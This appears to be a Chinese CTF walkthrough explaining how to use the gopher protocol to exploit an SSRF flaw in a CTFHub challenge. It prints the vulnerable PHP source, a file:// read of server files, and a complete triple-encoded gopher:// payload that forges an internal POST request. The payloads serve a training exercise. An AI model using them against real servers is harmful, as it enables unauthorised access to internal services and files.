CTFHUB之gopher协议实现SSRF
介绍
解题思路:
利用302协议(重定向)的跳转ssrf。可以访问与服务器相连的内网
①什么是gopher协议
Gopher是Internet上一个信息查找系统,它将Internet上的文件组织成某种
索引,方便用户从Internet的一处带到另一处。在WWW出现之前,Gopher
是Internet上最主要的信息检索工具。使用tcp70端口。但在WWW出现
后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;
gopher协议支持发出GET、POST请求
②gopher协议适用条件

③使用步骤
- 结构: gopher://127.0.0.1:80/内容(比如POST请求)
其中内容可以是字符串,php代码,文件等。ip一般不用换,端口号要根据漏洞利用的环境更换。比如FASTCGI的9000端口
- 要点:
第一次编码要把所有的%0A换成%0D0A,后再进行两次编码
目标文件得有一些对应的利用功能,本题采用curl执行语句进行利用
CTFHUB SSRF题POST请求
访问/?url=127.0.0.1/flag.php得到flag.php源码。会发现有个框框。而且该框框输入数据会提示只能内网访问。
- 注意
题目提示的302文件是不存在的。而index文件存在。这是题目比较坑的地方
- 访问index.php
/?url=file:///var/www/html/index.php 访问index.php
- 以下是index.php源码,文中注释我自己加的。源码无注释!
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init(); //初始化一次curl对话,ch返回curl句柄
//curl_setopt为 cURL 会话句柄设置选项。
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //curlopt_url需要获取的 URL 地址
curl_setopt($ch, CURLOPT_HEADER, 0); //启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 位掩码, 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 设置 CURLOPT_FOLLOWLOCATION 时,什么情况下需要再次 HTTP POST 到重定向网址。
curl_exec($ch); //执行
curl_close($ch);
- 思路1
目前已知flag.php含有奇怪字符key,index.php能够接受url传参,并利用curl功能访问url传参的内容。那么我们可以利用gopher协议往index.php中传入一个POST请求包。请求包里是flag.php的key。那么就试一试吧
- 往index.php传入我们的payload
/?url=127.0.0.1:80/index.php?url=(gopher协议。传入post请求)
- 请求内网80端口的POST包
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
key=a074471dc0ef3956ab9dd46e708cca45
- 编码
3次编码post请求包,全部都编码噢,把上面的请求包所有代码复制进去这个在线url编码网站:http://ctf.ssleye.com/url.html
- 第一次编码:

- 第二次编码
把%0A全部替换成%0D%0A。小技巧:可以直接复制到word文档查找替换

- 第三次编码

- 最终得到的编码如下。可以自己对比看看
POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-
urlencoded%25250D%25250AContent-Length%25253A%2525207%25250D%25250A%25250D%25250Akey%25253Da074471dc0ef3956ab9dd46e708cca45
- 完整payload:
/?url=index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-
Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%2525207%25250D%25250A%25250D%25250Akey%25253Da074471dc0ef3956a
b9dd46e708cca45
- 然后,我们拿到flag了吗?
其实并没有,不出意外你会看到这个界面

这是为什么呢?先别着急,我们访问的是index.php但是却看到了flag.php的信息,说明我们构造的语句是有效的!!!
这时候往源代码去检查。也就是第9序章我写的post请求代码。发现了content-length的长度为7,这是不正确的。因为我们传入的key有36位之长
- 改写content-length长度,加深理解。获取flag!
把7改成36之后,成功拿到flag!

CTFHUB之gopher协议实现SSRF的更多相关文章
- Gopher协议在SSRF漏洞中的深入研究
如果需要大佬写好的脚本,可以直接去github上面搜 参考文章:https://zhuanlan.zhihu.com/p/112055947 https://www.cnblogs.com/Konmu ...
- gopher协议在SSRF漏洞中的作用
1.什么是gopher协议?2.如何使用gopher协议反弹shell?3.在SSRF中如何使用gopher协议反弹shell? 一.什么是gopher协议?定义:Gopher是Internet上一个 ...
- SSRF攻击-运用gopher协议构造POST包--emmmm(http://10.112.68.215:10004/index.php?action=login)
还是天枢的一道CTF题,启程! 分析题目,自己注册账户并登陆后,提示输入一个url,网站会自己运行查找网页信息. emmmmm,很挑衅,网站就当作服务器,我们在url框中输 ...
- gopher 协议初探
Gopher 协议初探 最近两天看到了字节脉搏实验室公众号上有一篇<Gopher协议与redis未授权访问>的文章,其中对gopher协议进行了比较详细的介绍,所以打算跟着后面复现学习一下 ...
- SSRF漏洞分析与利用
转自:http://www.4o4notfound.org/index.php/archives/33/ 前言:总结了一些常见的姿势,以PHP为例,先上一张脑图,划√的是本文接下来实际操作的 0x01 ...
- CTF SSRF(服务器端伪造请求)
目录 CTF SSRF(服务器端伪造请求) 一.概念 二.危害 三.漏洞挖掘与判断 四.相关函数 五.IP绕过 六.Gopher协议 1.使用限制 2.构造payload CTF SSRF(服务器端伪 ...
- SSRF详解
上一篇说了XSS的防御与绕过的思路,这次来谈一下SSRF的防御,绕过,利用及危害 0x01 前置知识梳理 前置知识涉及理解此漏洞的方方面面,所以这部分要说的内容比较多 SSRF(Server-Side ...
- SSRF——介绍利用(不全)
1. SSRF介绍 SSRF(Server-side Request Forge, 服务端请求伪造). 由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务. 2. SSR ...
- 刷题[GKCTF2020]
[GKCTF2020]CheckIN 解题思路 打开直接是源码: <title>Check_In</title> <?php highlight_file(__FILE_ ...
随机推荐
- php压缩zip文件类
使用文件压缩类, 注意传的路径是相对路径.如果传绝对路径就把addFile里面的第二个参数去掉/ $zip = new ZipFolder(); $zipFile = './autoloadClass ...
- egg微信小程序支付(服务商)插件封装
下单 通过下单获取prepay_id,然后返回给小程序发起支付 若是服务商,mch_id:传入服务的商户号:sub_mch_id:传入子商户的商户号,算法签名的秘钥是服务商的秘钥. 'use stri ...
- MATLAB探索初步问题汇总
MATLAB命令窗口如果显示:尝试将SCRIPT normrnd作为函数执行:C:\User-- 出错sort 这类问题,一般是你的*.m文件的名与内置函数名重名,改一下文件名即可. 2.MATLAB ...
- 前端面试题(css)
css 基础面试题 css 面试题 js 面试题 1.介绍下CSS的盒子模型 介绍一下标准的CSS的盒子模型?与低版本IE的盒子模型有什么不同的? css 是如何设置这两种模型的 box-si ...
- 4月23日 python学习总结 套接字UDP和 操作系统理论,多道理论
一.套接字UDP udp是无链接的,先启动哪一端都不会报错 UDP(user datagram protocol,用户数据报协议)是无连接的,面向消息的,提供高效率服务.不会使用块的合并优化算法,, ...
- C++设计模式 - 命令模式(Command)
行为变化模式 在组件的构建过程中,组件行为的变化经常导致组件本身剧烈的变化."行为变化" 模式将组件的行为和组件本身进行解耦,从而支持组件行为的变化,实现两者之间的松耦合. 典型模 ...
- P2P图书馆实践:让知识更好的传播
人才是每个公司最重要的资产,而人的成长自然就成了最重要的事.苏轼曾经说过:"腹有诗书气自华,代码万行零缺陷",阅读对人成长的影响是巨大的.相信不同的团队都有着自己打造学习氛围.技术 ...
- zk 节点宕机如何处理?
Zookeeper 本身也是集群,推荐配置不少于 3 个服务器.Zookeeper 自身也要保 证当一个节点宕机时,其他节点会继续提供服务. 如果是一个 Follower 宕机,还有 2 台服务器提供 ...
- 匿名内部类编译生成的class文件
一.问题描述 跳槽到的新公司,相比原来的公司,软件开发非常不规范,经常各种坑.项目部署到生产现场之后,出现问题,我在修改之后编译生成class文件,然后将class文件发给现场的技术支持,技术支持将c ...
- CentOS7防火墙开启与关闭以及开放6379,3306,80等端口
CentOS7用firewall防火墙替代了原来的iptables,所以我们应该使用firewall的一些命令.如下:1.关闭防火墙 systemctl stop firewalld.service ...